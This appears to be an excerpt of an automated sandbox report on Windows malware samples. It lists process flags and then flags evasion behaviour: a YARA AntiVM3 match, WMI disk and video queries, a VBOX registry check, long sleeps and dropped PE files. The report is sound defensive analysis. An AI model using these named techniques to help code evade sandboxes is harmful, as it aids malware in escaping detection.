Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSAB2.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Process information set: FAILCRITICALERRORS | NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zSA35.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS188D.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\7zS1BC9.tmp\Install.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: 4MZEKMRe7m6bc8qivCccLsq8.exe PID: 6460, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: yHP2Z5SFUIZjI8pAKB_H3QUP.exe PID: 2876, type: MEMORYSTR
Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Query firmware table information (likely to detect VMs)
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe System information queried: FirmwareTableInformation Jump to behavior
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe System information queried: FirmwareTableInformation
Tries to detect sandboxes / dynamic malware analysis system (registry check)
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__ Jump to behavior
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory allocated: 2A80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory allocated: 2AC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Memory allocated: 4AC0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory allocated: 3030000 memory reserve | memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory allocated: 3230000 memory reserve | memory write watch
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Memory allocated: 3050000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 17D0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 32A0000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Memory allocated: 3040000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 1400000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2E10000 memory reserve | memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Memory allocated: 2C50000 memory reserve | memory write watch
Contains capabilities to detect virtual machines
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\ProgramData\WinTrackerSP\WinTrackerSP.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Documents\SimpleAdobe\4MZEKMRe7m6bc8qivCccLsq8.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\Documents\SimpleAdobe\yHP2Z5SFUIZjI8pAKB_H3QUP.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Thread delayed: delay time: 922337203685477
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Window / User API: threadDelayed 3947
Found decision node followed by non-executed suspicious APIs
Source: C:\Users\user\Documents\SimpleAdobe\IVTULQzdBmF3Bc0NeoxSnYvg.exe Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
Found dropped PE file which has not been started or loaded
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\msvcr120.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-JR9V0.tmp Jump to dropped file
Source: C:\Users\user\Documents\SimpleAdobe\Lbg6Jgx2PuK0JimgGIFCI5UU.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\freebl3[1].dll Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-4H4R9.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-0K04O.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\libmp3lame.dll (copy) Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-QM7CF.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-P12J5.tmp Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-5JVP5.tmp\H1pBxuA3W1wJGbhYT2DZXaLH.tmp Dropped PE file which has not been started: C:\Users\user\AppData\Local\MP3Doctor Free 2020\is-IK2RF.tmp Jump to dropped file
